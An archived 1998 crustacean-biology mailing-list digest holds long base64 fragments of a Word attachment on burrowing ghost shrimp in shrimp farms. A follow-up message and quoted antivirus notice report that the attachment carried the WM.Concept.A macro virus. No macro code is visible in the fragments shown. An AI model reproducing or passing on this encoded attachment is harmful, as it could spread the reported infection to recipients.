dHJlbmRzIGluIGJvdGggY2FyYXBhY2UgbGVuZ3RocyBhbmQgc2V4IHJhdGlvcyBmb3IgdGhlIG92 ZXJhbGwgZm91ci0geWVhciBzcGFuIG9mIHRoZSBzdHVkeSB3ZXJlIGFuYWx5c2VkIGJ5IGxpbmVh ci1saW5lYXIgcGllY2V3aXNlIHBvbHlub21pYWwgcmVncgEAAAACAAAAAwAAAAQAAAAFAAAABgAA AAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAA FQAAAP7////9////GgAAAP7///8iAAAA/v/////////////////////////////////////////+ //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAA CAcAACADAACgAgAA3wcAAAcAAAAAAAAA//8AAP////8AwAAAAGABABYABQH//////////wEAAAAA CQIAAAAAAMAAAAAAAABGAAAAAChbRwD2AADwQIx1ehMmvQEZAAAAwAMAAJkRYVBXAG8AcgBkAEQA bwBjAHUAbQBlAG4AdAAAAAAA/////3+YBFAAAAAAAAAAAP////////////////////8AAAAAGgAC AQIAAAADAAAA/////xAAAAAAAAAAAhP3vwAAAAD//wAA/////wDAAAAAYAEA/////wAAAAD8KgAA AAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAHcBAADQBwAACAcAADIAAADRCQAA0gkAAAcAAAAA AAAA//8AAP////8SAAIB////////////////AAAAAAAAAAAAAAAAEQEAoOAvRwAAAAAAAAAAAAAA AAAAAAAAAAAAAGoAAAANAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAA AP/////QAsAhAAAAAAAAAADMAAAAAAAAACgAAgH/////BAAAAP////9gCkAAAhP3vwgJQAACE/e/ OApAAAAAAAAAAAAAAAAAAAAAAAACAAAA9AEAAAIT978BAAAA/v///wMAAAAEAAAABQAAAAYAAAAH AAAACAAAAAkAAAD+////CwAAAAwAAAANAAAADgAAAP7///////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////wEA/v8DCgAA/////wAJAgAAAAAAwAAAAAAA AEYYAAAATWljcm9zb2Z0IFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1 bWVudC42APQ5snEAAAAAAAAAAAAAAADQzxHgobEa4QAAAAAAAAAAAAAAAAAA/v8AAAQAAgAAAAAA AAAAAAAAAAAAAAAAAQAAAOCFn/L5T2gQq5EIACsns9kwAAAAxAEAABIAAAABAAAAmAAAAAIAAACg AAAAAwAAAOQAAAAEAAAA8AAAAAUAAAAEAQAABgAAABABAAAHAAAAHAEAAAgAAAAsAQAACQAAAEAB AAASAAAATAEAAAoAAAB0AQAACwAAAIABAAAMAAAAjAEAAA0AAACYAQAADgAAAKQBAAAPAAAArAEA ABAAAAC0AQAAEwAAALwBAAACAAAA5AQAAB4AAAA8AAAAVG8gdGhvc2UgaW50ZXJlc3RlZCBpbiBi dXJyb3dpbmcgc2hyaW1wIGFuZCBzaHJpbXAgZmFybWluZzoAHgAAAAEAAAAAAAAAHgAAAAkAAABT LiBOYXRlcwC7QwAeAAAAAQAAAAAsRAAeAAAAAQAAAAAAQAAeAAAABwAAAE5vcm1hbAAAHgAAAAkA AABTLiBOYXRlcwAAAAAeAAAAAgAAADEAAHMeAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBh AHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAD//////////zgAAgD///////////////////// /////////////////////wAAAAAAAAAAAAAAAAAAAAAKAAAACAEAAP////////////////////// ////////////////////////////////////////////////////////////////////AAAAAP// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAABAAAA AtXN1ZwuGxCTlwgAKyz5rjAAAADYAAAACAAAAAEAAABIAAAADwAAAFAAAAAEAAAAXAAAAAUAAABk AAAABgAAAGwAAAALAAAAdAAAABAAAAB8AAAADAAAAIQAAAACAAAA5AQAAB4AAAAEAAAAVVNMAAMA AAAAPgAAAwAAAB4AAAADAAAABwAAAAsAAAAAAAAACwAAAAAAAAAMEAAAAgAAAB4AAAA8AAAAVG8g dGhvc2UgaW50ZXJlc3RlZCBpbiBidXJyb3dpbmcgc2hyaW1wIGFuZCBzaHJpbXAgZmFybWluZzoA AwAAAAAAAABtYWxlcyBpbmNyZWFzZWQgc2xpZ2h0bHkgYnV0IHNpZ25pZmljYW50bHkgb3ZlciB0 aGUgZmlyc3QgdGhyb3VnaCBmb3VydGggcXVhcnRlcnMgb2YgYWxsIHllYXJzIGV4Y2VwdCAxOTk0 LCBhIHllYXIgaW4gd2hpY2ggdGhlIHByZXNlbmNlIG9mICBmaXJzdCBxdWFydGVyIHJlY3J1aXRz IHdhcyBvZmZzZXQgYnkgYSBjb2hvcnQgb2YgbGFyZ2UgaW5kaXZpZHVhbHMgc3Vydml2aW5nIGZy b20gdGhlIHByZXZpb3VzIHllYXIgKEZpZy4gMikuICBXaGVuIHRyZWF0ZWQgYXMgYSBzZXBhcmF0 ZSBzZXQsIG1hdHVyZSBzaXplZCBpbmRpdmlkdWFscyAoPjExIG1tIENMKSBvZiBib3RoIG1hbGUg YW5kIGZlbWFsZSBwb3B1bGF0aW9ucyBpbmNyZWFzZWQgaW4gbWVhbiBjYXJhcGFjZSBsZW5ndGgg b3ZlciB0aGUgeWVhciwgdXN1YWxseSBwZWFraW5nIGluIHRoZSBmb3VydGggcXVhcnRlciBwcmlv ciB0byBtYXhpbXVtIGFidW5kYW5jZSBvZiBvdmlnZXJvdXMgZmVtYWxlcyBpbiB0aGUgZm9sbG93 aW5nIHllYXIgKEZpZy4gM0IsIEQpLiAgTWVhbiBjYXJhcGFjZSBsZW5ndGggb2YgbWFsZXMgYXBw ZWFyZWQgdG8gc2xpZ2h0bHkgZXhjZWVkIHRoYXQgb2YgZmVtYWxlcyBvdmVyIHRoZSBmdWxsIGNv dXJzZSBvZiBzdHVkeSwgYW5kIG1hbGVzIHRodXMgZG9taW5hdGVkIGxhcmdlIHNpemUgY2xhc3Nl cyAoRmlnLiAxQiwgMiwgM0IpLiAgT25seSA0LjMlIG9mIHRoZSBjb2xsZWN0ZWQgZmVtYWxlcyB3 ZXJlICggMTUuMCBtbSBDTCwgd2hpbGUgMTIuNCUgb2YgbWFsZXMgYXR0YWluZWQgdGhpcyBzaXpl LiAgVGhlIGxhcmdlc3QgYW5pbWFsIGNvbGxlY3RlZCB3YXMgYSBtYWxlIHRoYXQgbWVhc3VyZWQg MjAuNyBtbSBDTC4gIERldGVjdGlvbiBvZiByZWNydWl0cyA8IDgtMTAgbW0gQ0wgd2FzIHNwb3Jh ZGljIHRocm91Z2hvdXQgdGhlIHN0dWR5IChGaWcuIDNFKSwgYW5kIHRyYWNraW5nIG9mIGdyb3d0 aCBpbiByZWNydWl0bWVudCBjb2hvcnRzIHdhcyBub3QgcG9zc2libGUuICBBbW9uZyBhbGwgb3Zp Z2Vyb3VzIGZlbWFsZXMgY29sbGVjdGVkIGR1cmluZyB0aGUgc3R1ZHkgKG49NDQ0KSwgc2l6ZSBy YW5nZWQgZnJvbSA3LjA0IG1tIENMIHRvIDE2LjggbW0gQ0wuICBIb3dldmVyLCAzOC4zJSBvZiBh bGwgdGhlc2Ugd2VyZSBpbiB0aGUgMTMuMCB0byAxMy45IG1tIENMIHNpemUgY2xhc3MgYW5kIDwg MS41JSBvZiBvdmlnZXJvdXMgZmVtYWxlcyB3ZXJlIDwgMTEuMCBtbSBDTCAoRmlnLiA1KS4gIER1 cmluZyBwZWFrIGFidW5kYW5jZXMgb2Ygb3ZpZ2Vyb3VzIGZlbWFsZXMgKEZlYnJ1YXJ5IHRvIEp1 bmUsIEZpZy4gNCksICA2NC4zJSBvZiAgYWxsIGZlbWFsZXMgaW4gdGhlIDEzLjAgdG8gMTMuOSBt bSBDTCBzaXplIGNsYXNzIGNvbnNpc3RlZCBvZiBvdmlnZXJvdXMgZmVtYWxlcy4NT2NjdXJyZW5j ZSBvZiBvdmlnZXJvdXMgZmVtYWxlcyBpbiB0aGUgc2FtcGxlZCBwb3B1bGF0aW9ucywgd2FzIG9i c2VydmVkIGluIGFsbCBtb250aHMgb2YgdGhlIGZvdXIteWVhciBzdHVkeSAoRmlncy4gMiBhbmQg M0QpLiAgSG93ZXZlciwgcGVyY2VudGFnZXMgb2Ygb3ZpZ2Vyb3VzIGZlbWFsZXMgaW4gdGhlIHBv cHVsYXRpb24gd2VyZSBsb3dlc3QgaW4gdGhlIHRoaXJkIHF1YXJ0ZXJzIG9mIDE5OTIsIDE5OTMg YW5kIDE5OTUsIGFuZCAgdGhlIGZvdXJ0aCBxdWFydGVyIG9mIDE5OTQsIHdoaWxlIHRoZSBoaWdo ZXN0IG1lYW4gcGVyY2VudGFnZXMgb2NjdXJyZWQgaW4gdGhlIGZpcnN0IG9yIHNlY29uZCBxdWFy dGVyIG9mIGVhY2ggeWVhci4gIFBlYWsgbWVhbiBhYnVuZGFuY2Ugb2Ygb3ZpZ2Vyb3VzIGZlbWFs ZXMgY29pbmNpZGVkIHdpdGggdGhlIGhpZ2hlc3QgcXVhcnRlcmx5IHNhbGluaXR5IGluIDE5OTIs IDE5OTQgYW5kIDE5OTUsIGJ1dCB3YXMgbGVzcyBkZWZpbmVkIGluIDE5OTMgd2hlbiB0aGUgZm91 cnRoIHF1YXJ0ZXIgc2FsaW5pdHkgZGlkIG5vdCBmYWxsIHRvIGEgdHlwaWNhbCBsb3cgdmFsdWUg KEZpZy4gIDNBLEQpLiAgIEV4YW1pbmVkIGFzIHBvb2xlZCBtb250aGx5IHNhbXBsZXMgb3ZlciB0 aGUgZW50aXJlIHN0dWR5LCBoaWdoZXN0IHBlcmNlbnRhZ2VzIG9mIG92aWdlcm91cyBpbmRpdmlk dWFscyBhbW9uZyBhbGwgZmVtYWxlcyBvZiB0aGUgcG9wdWxhdGlvbiBvY2N1cnJlZCBkdXJpbmcg dGhlIGhpZ2ggc2FsaW5pdHkgcGVyaW9kIGZyb20gRmVicnVhcnkgIHRvIEp1bmUsIHdpdGggYSBt YXhpbXVtIGZvdW5kIGluIE1heSAoMzUuNyUpLCAgdHdvIG1vbnRocyBhZnRlciBwZWFrIGRldmVs b3BtZW50IG9mICB0aGUgb3ZhcmllcyAoRmlnLiA0QSxCKS4NRGV2ZWxvcG1lbnQgb2Ygb3Zhcmll cywgaW5kZXhlZCBhcyBhIG1lYXN1cmUgb2YgdGhlaXIgcmVsYXRpdmUgd2lkdGgsIHJlYWNoZWQg bWF4aW1hIGluIHRoZSBxdWFydGVyIHByaW9yIHRvIHRoZSBwZWFrIG9jY3VycmVuY2VzIG9mIG92 aWdlcm91cyBmZW1hbGVzLCBhbmQgZWl0aGVyIGNvaW5jaWRlZCB3aXRoIG9yIGltbWVkaWF0ZWx5 IGZvbGxvd2VkIHRoZSBxdWFydGVyIGluIHdoaWNoIGxvd2VzdCBhbWJpZW50IHNhbGluaXRpZXMg b2NjdXJyZWQgKEZpZy4gM0EsQyxEKS4gIEV4YW1pbmVkIGFzIGEgbW9udGhseSB2YWx1ZSBwb29s ZWQgb3ZlciB0aGUgdGhyZWUgeWVhcnMgaXQgd2FzIG1vbml0b3JlZCAoRmlnLiA0QyksIHRoaXMg aW5kZXggb2Ygb3ZhcmlhbiBkZXZlbG9wbWVudCB3YXMgYXQgbWluaW11bSB2YWx1ZXMgaW4gSnVu ZSBhbmQgSnVseSB3aGVuIG92YXJpZXMgb2YgbWFueSBzcGVudCBhbmQgaW1tYXR1cmUgZmVtYWxl cywgd2hpbGUgZXZpZGVudCBmb3IgdGhlIGZ1bGwgbGVuZ3RoIG9mIHRoZSBhYmRvbWVuLCB3ZXJl IGxpbWl0ZWQgaW4gd2lkdGggdG8gbmFycm93IHRyYW5zbHVjZW50LXllbGxvdyBzdHJhbmRzLiAg T3ZhcmllcyBiZWNhbWUgZGVlcCB5ZWxsb3cgdG8geWVsbG93LW9yYW5nZSBhcyByZWxhdGl2ZSBv dmFyaWFuIHdpZHRoIGJlZ2FuIHRvIGluY3JlYXNlIG1hcmtlZGx5IGluIEF1Z3VzdCwgY29uY3Vy cmVudCB3aXRoIGFuIGFubnVhbCBkZWNsaW5lIGluIGFtYmllbnQgc2FsaW5pdHkuICBCeSBPY3Rv YmVyLCBvdmFyaWVzIG9mIG1vc3QgbWF0dXJlIGZlbWFsZXMgd2VyZSBzb21ld2hhdCBsb2JhdGUg aW4gc2hhcGUgYW5kIHllbGxvdy1vcmFuZ2UgdG8gcmVkZGlzaCBvcmFuZ2UgaW4gY29sb3IsIGFu ZCBvdmFyaWFuIGluZGV4IHJlYWNoZWQgaGlnaCB2YWx1ZXMgd2hpY2ggcGVyc2lzdGVkIHRoZXJl YWZ0ZXIgdGhyb3VnaCBGZWJydWFyeS4gIEhpZ2hlc3QgdmFsdWVzIGZvciB0aGUgb3ZhcmlhbiBp bmRleCwgbWVhc3VyZWQgaW4gRmVich4AAABNaWNyb3NvZnQgV29yZCBmb3IgV2luZG93cyA5NQBD AEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAlHNaEya9AUAAAAAAlHNaEya9AQMAAAACAAAA AwAAAIMCAAADAAAAUw4AAAMAAAAAAAAA0M8R4KGxGuEAAAAA/v8AAAQAAgAAAAAAAAAAAAAAAAAA AAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAA2AAAAAgAAAABAAAASAAAAA8AAABQAAAABAAAAFwA AAAFAAAAZAAAAAYAAABsAAAACwAAAHQAAAAQAAAAfAAAAAwAAACEAAAAAgAAAOQEAAAeAAAABAAA AFVTTAADAAAAAD4AAAMAAAAeAAAAAwAAAAcAAAALAAAAAAAAAAsAAAAAAAAADBAAAAIAAAAeAAAA PAAAAFRvIHRob3NlIGludGVyZXN0ZWQgaW4gYnVycm93aW5nIHNocmltcCBhbmQgc2hyaW1wIGZh cm1pbmc6AAMAAAAAAAAA0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAA AAABAAAAFwAAAAAAAAD///////////////////////////////////////////////////////// //////////////////////////// - --=====================_885371307==_ Content-Type: text/plain; charset="us-ascii" Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu - --=====================_885371307==_-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #114 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:26 1998 Date: Wed, 21 Jan 1998 09:05:16 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #115 crust-l-digest Wednesday, 21 January 1998 Volume 01 : Number 115 CRUST-L: Re: email virus CRUST-L: New malacological site CRUST-L: Literature Re: CRUST-L: Shrimp farm problem CRUST-L: Re: email virus CRUST-L: more books ---------------------------------------------------------------------- From: Jeffrey Shields Date: Tue, 20 Jan 1998 22:33:36 -0500 (EST) Subject: CRUST-L: Re: email virus Gang, I suspect a virus was accidentally embedded in a recent attachment on burrowing shrimp (Thalassinids) sent on the CRUST-L and other listservers. Below is the warning message. I have notified the sender. I suspect this was a MSWord Macro virus. You may want to avoid opening the file, and wait for a clean version. Deleting the file without opening it should be sufficient. If you've opened it in Word, then you may need to obtain an update on macro viruses; they're relatively recent. Such updates are available from Norton and McAfree. Cheers, Jeff ========================================================================= > NOTICE -- VIRUS FOUND -- NOTICE -- VIRUS FOUND -- NOTICE -- VIRUS FOUND > > The virus WM.Concept.A (1) was detected in an incoming > SMTP Internet transmission. > > Source Name: > > An attempt has been made to repair the attachment and the message has > been forwarded for final delivery. > > NOTICE -- VIRUS FOUND -- NOTICE -- VIRUS FOUND -- NOTICE -- VIRUS FOUND > > Received: from krystal.sge.net ([10.1.1.1]) by 10.1.1.246 > (Norton AntiVirus for Internet Email Gateways 1.0) ; > Wed, 21 Jan 1998 02:56:08 0000 (GMT) > Received: (from uucp@localhost) > by krystal.sge.net (8.8.5/8.8.6) id NAA29687; > Wed, 21 Jan 1998 13:55:00 +1100 (EST) > Received: from back.vims.edu(139.70.2.111) by krystal.sge.net via smap (3.2) > id xma029169; Wed, 21 Jan 98 13:54:22 +1100 > Received: (from majord@localhost) by back.vims.edu (8.6.12/) id VAA13373 for crust-l-outgoing; Tue, 20 Jan 1998 21:34:54 -0500 > Received: from bp.ucs.usl.edu (root@bp.ucs.usl.edu [130.70.40.36]) by back.vims.edu (8.6.12/) with SMTP id VAA13368 for ; Tue, 20 Jan 1998 21:34:44 -0500 > Received: from cruella.usl.edu (cruella.usl.edu [130.70.43.75]) by bp.ucs.usl.edu with SMTP id AA10004 > (5.65c/IDA-1.4.4 for ); Tue, 20 Jan 1998 20:34:41 -0600 > Message-Id: <3.0.3.32.19980120202827.007aa860@pop.usl.edu> > X-Sender: lrn8889@pop.usl.edu (Unverified) > X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) > Date: Tue, 20 Jan 1998 20:28:27 -0600 > To: CRUST-L@vims.edu > Subject: CRUST-L: Shrimp farm problem > Mime-Version: 1.0 > Content-Type: multipart/mixed; boundary="=====================_885371307==_" > Sender: owner-crust-l@vims.edu > Precedence: bulk > > --=====================_885371307==_ > Content-Type: text/plain; charset="us-ascii" > > To Sergio Escutia et al.: > > For those interested in the shrimp farm problem please check attached file. > > Cheers, Sergio. > > > --=====================_885371307==_ > Content-Type: application/msword; name="shrimp_farm.doc"; > x-mac-type="42494E41"; x-mac-creator="4D535744" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; filename="shrimp_farm.doc" > > 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAFwAAAAAAAAAA > EAAAGAAAAAEAAAD+////AAAAABYAAAD///////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > ///////////////////////////////////////////////////////////////////////////c > pWgAV+AJBAAAAQBlAAAAAAAAAAAAAAAAAwAAYBQAAPwqAAAAAAAAAAAAAAAAAAAAAAAAYBEAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAGoAAAAAIgAAagAAAGoiAAAAAAAAaiIA > AAAAAABqIgAAAAAAAGoiAAAAAAAAaiIAABQAAACkIgAAAAAAAKQiAAAAAAAApCIAAAAAAACkIgAA > AAAAAKQiAAAAAAAApCIAAAoAAACuIgAACgAAAKQiAAAAAAAABioAAD8AAAC4IgAAAAAAALgiAAAA > AAAAuCIAAAAAAAC4IgAAAAAAALgiAAAAAAAAuCIAAAAAAAC4IgAAAAAAALgiAAAAAAAAVCcAAL0A > AAARKAAAAAAAABEoAAAAAAAAESgAAC8AAABAKAAA1AAAABQpAADUAAAA6CkAAB4AAABFKgAAWAAA > AJ0qAABfAAAABioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaiIAAAAAAAC4IgAAAAAAAAAADwAQAAEA > AQC4IgAAAAAAALgiAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgiAAAAAAAAuCIAAAAAAAAGKgAAAAAA > ADYnAAAAAAAAaiIAAAAAAABqIgAAAAAAALgiAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgiAAAAAAAA > NicAAAAAAAA2JwAAAAAAADYnAAAAAAAAuCIAAH4EAABqIgAAAAAAALgiAAAAAAAAaiIAAAAAAAC4 > IgAAAAAAAFQnAAAAAAAAAAAAAAAAAABAjHV6Eya9AX4iAAAOAAAAjCIAABgAAABqIgAAAAAAAGoi > AAAAAAAAaiIAAAAAAABqIgAAAAAAALgiAAAAAAAAVCcAAAAAAAA2JwAAHgAAADYnAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUbyB0aG9zZSBpbnRlcmVzdGVkIGluIGJ1cnJvd2lu > ZyBzaHJpbXAgYW5kIHNocmltcCBmYXJtaW5nOg0NVGhlIGZpcnN0IGtub3duIGNhc2UgaW4gdGhl > IE5ldyBXb3JsZCB3aGVyZSBhIHRoYWxhc3NpbmlkIHdhcyBwcm9wb3NlZCBhcyBwb3RlbnRpYWxs > eSBhZmZlY3RpbmcgcGVuYWVpZCBzaHJpbXAgbWFyaWN1bHR1cmUgd2FzIHJlcG9ydGVkIGJ5IExl > bWFpdHJlIGFuZCBSb2RyaWd1ZXMgKDE5OTEpLiAgRGVzcGl0ZSBhbiBleHRlbnNpdmUgbGl0ZXJh > dHVyZSBwdWJsaXNoZWQgb24gY2FsbGlhbmFzc2lkIGJ1cnJvdyBhcmNoaXRlY3R1cmUsIGVzdGlt > YXRlcyBvZiBzZWRpbWVudCB0dXJub3ZlciByYXRlcywgYnVycm93IGR5bmFtaWNzLCBhbmQgd2F0 > ZXIgYmlvZ2VvY2hlbWlzdHJ5LCB0aGVyZSBpcyBsaXR0bGUgaW5mb3JtYXRpb24gb24gdGhlIGVj > b2xvZ3kgYW5kIGJ1cnJvd2luZyBoYWJpdHMgb2Ygc3BlY2llcyBpbmhhYml0aW5nIHNocmltcCBw > b25kcy4NDQlUaGUgdGV4dCBiZWxvdyBpcyBjb3B5IG9mIHRoZSBhYnN0cmFjdCBvZiB0aGUgdGhp > cmQgY2hhcHRlciBvZiBteSBkaXNzZXJ0YXRpb24uIFRoaXMgY2hhcHRlciBpcyBpbiBwcmVzcyBh > bmQgd2lsbCBiZSBwdWJsaXNoZWQgaW4gdGhlIEpvdXJuYWwgb2YgdGhlIFdvcmxkIEFxdWFjdWx0 > dXJlIFNvY2lldHk6DQ0Jk1RoZSBidXJyb3dpbmcgZ2hvc3Qgc2hyaW1wcyBMZXBpZG9waHRoYWxt > dXMgc2ludWVuc2lzICBMZW1haXRyZSBhbmQgUm9kcmlndWVzLCAxOTkxLCBhbmQgTGVwaWRvcGh0 > aGFsbXVzIGJvY291cnRpICAoQS4gTWlsbmUgRWR3YXJkcywgMTg3MCksIGhhdmUgYSBzaWduaWZp > Y2FudCBpbXBhY3Qgb24gcG9uZC1iYXNlZCBjdWx0dXJlIG9mIHBlbmFlaWQgc2hyaW1wLiAgTWFy > a2VkIGF0dGVudWF0aW9uIG9mIHRoZSBsYXJ2YWwgY3ljbGUsIGFuIGFkYXB0YXRpb24gZm9yIGVz > dHVhcmluZSByZXRlbnRpb24gaW4gd2lsZCBwb3B1bGF0aW9ucywgZmF2b3JzIGFjY3VtdWxhdGlv > biBvZiByZWNydWl0cyBpbnRvIHRoZSBzYW1lIHN1YnN0cmF0ZXMgYXMgdGhlIHBhcmVudGFsIHBv > cHVsYXRpb24gYW5kIGFsbG93cyBkZW5zaXRpZXMgb2YgdGhlc2UgYnVycm93ZXJzIHRvIHNvbWV0 > aW1lcyBleGNlZWQgNjUwIGluZGl2aWR1YWxzL20yLiAgUmFwaWQgY29sb25pemF0aW9uIG9mIGdy > b3ctb3V0IHBvbmQgYm90dG9tcyBzdWdnZXN0cyByZWxhdGlvbnNoaXBzIHRvIHNlY29uZGFyeSBw > cm9kdWN0aW9uIHRoYXQgbWF5IGFsc28gYXBwbHkgaW4gbmF0dXJhbCBlc3R1YXJpbmUgc2V0dGlu > Z3MuIEhpZ2hlciBkZW5zaXRpZXMgb2YgYnVycm93aW5nIHNocmltcCBhcHBlYXIgdG8gY29ycmVs > YXRlIHdpdGggbG93ZXIgeWllbGRzIGJlY2F1c2Ugb2YgYm90aCBveHlnZW4gcmVxdWlyZW1lbnRz > IGJ5IHRoZSB0aGFsYXNzaW5pZHMgYW5kIGJpb3R1cmJhdGlvbiBlZmZlY3RzLiAgUmljaCBzb3Vy > Y2VzIG9mIG9yZ2FuaWMgbWF0ZXJpYWxzIGluIGhpZ2hseSByZWR1Y2VkIHBvbmQgc3Vic3RyYXRl > cyBjYW4gYmUgcmVhZGlseSBleHBsb2l0ZWQgYnkgTGVwaWRvcGh0aGFsbXVzIHNwZWNpZXMgYmVj > YXVzZSBvZiB0aGVpciBwaHlzaW9sb2dpY2FsIGFkYXB0YXRpb25zIHRvIGh5cG94aWEgYW5kIGFu > b3hpYS4gIEJpb3R1cmJhdGlvbiBhbmQgdmVudGlsYXRvcnkgbW92ZW1lbnQgb2Ygd2F0ZXIgdGhy > b3VnaCBidXJyb3dlZCBzZWRpbWVudHMgYnkgZ2hvc3Qgc2hyaW1wcyBtb3ZlcyByZWR1Y2VkIG51 > dHJpZW50cyBpbnRvIHRoZSB3YXRlciBjb2x1bW4gd2l0aCBwb3RlbnRpYWwgdG94aWMgZWZmZWN0 > cyBvbiBwZW5hZWlkcy4gIFVsdGltYXRlbHksIGFjdGl2aXRpZXMgb2YgdGhlc2UgZXN0dWFyaW5l > IGJ1cnJvd2VycyBveGlkaXplIGJlbnRoaWMgc2VkaW1lbnRzIGFuZCBjeWNsZSBudXRyaWVudHMg > aW50byB0aGUgd2F0ZXIgY29sdW1uLCB0aGUgbmVnYXRpdmUgaW1wYWN0cyBvZiB3aGljaCBhcmUg > cHJvYmFibHkgcmVzdHJpY3RlZCB0byBhcXVhY3VsdHVyZSBzZXR0aW5ncy6UDQ0JSW4gYWRkaXRp > b24gdG8gdGhlc2Ugc3BlY2llcyB0aGF0IHdlIGhhdmUgZm91bmQgaW4gc2hyaW1wIGZhcm1zIGlu > IEVjdWFkb3IsIENvbG9tYmlhIChQYWNpZmljIGFuZCBDYXJpYmJlYW4gY29hc3QpLCBWZW5lenVl > bGEsIFBhbmFtYSwgQ29zdGEgUmljYSBhbmQgR3VhdGVtYWxhLCB0aGVyZSBpcyBhIGFub3RoZXIg > Z3JvdXAgb2YgdGhhbGFzc2luaWRzIHRoYXQgYmVsb25nIHRvIHRoZSBnZW51cyBVcG9nZWJpYSAo > d2UgaGF2ZSBpZGVudGlmaWVkIHRocmVlIHNwZWNpZXMpIHRoYXQgY2FuIGNhdXNlIHNvbWUgZGFt > YWdlIHRvIGZhcm0gb3BlcmF0aW9ucy4gIE1vc3Qgb2YgdGhlIGxpdGVyYXR1cmUgcmVsYXRlZCB0 > byB0aGVzZSBhbmltYWxzIGFuZCB0aGVpciBpbXBhY3Qgb24gc2hyaW1wIGN1bHR1cmUgaGFzIGJl > ZW4gcHVibGlzaGVkIGJ5IHBlb3BsZSB3b3JraW5nIGluIG91ciBsYWIuICBUaGlzIGlzIGEgc2hv > cnQgbGlzdCBvZiBzZXZlcmFsIHJlZmVyZW5jZXM6DQ1GZWxkZXIsIEQuIEwuLCBTLiBGLiBOYXRl > cyBhbmQgRC4gVy4gRHVob24uICAxOTk1LiAgSW52YXNpb24gYW5kIGNvbG9uaXphdGlvbiBvZiB0 > cm9waWNhbCAJcGVuYWVpZCBzaHJpbXAgZmFybXMgYnkgdGhhbGFzc2luaWQgbXVkc2hyaW1wOiBU > aGUgZWNvbG9naWNhbCBzY2VuYXJpbyBhbmQgCWJpb2dlb2NoZW1pY2FsIGNvbnNlcXVlbmNlcy4g > IFBhZ2VzIDI0MC0yNDEgaW4gQy4gTC4gQnJvd2R5IGFuZCBKLiBTLiBIb3BraW5zLCAJZWRzLiwg > IFN3aW1taW5nIHRocm91Z2ggdHJvdWJsZWQgd2F0ZXJzOiBQcm9jZWVkaW5ncyBvZiB0aGUgc3Bl > Y2lhbCBzZXNzaW9uIG9uIAlzaHJpbXAgCWZhcm1pbmcsIEFxdWFjdWx0dXJlIJI5NS4gIFRoZSBX > b3JsZCBBcXVhY3VsdHVyZSBTb2NpZXR5LCBCYXRvbiBSb3VnZSwgCUxvdWlzaWFuYSwgICBVU0Eu > DQ1MZW1haXRyZSwgUi4gYW5kIFMuIGRlIEEuIFJvZHJpZ3Vlcy4gIDE5OTEuICBMZXBpZG9waHRo > 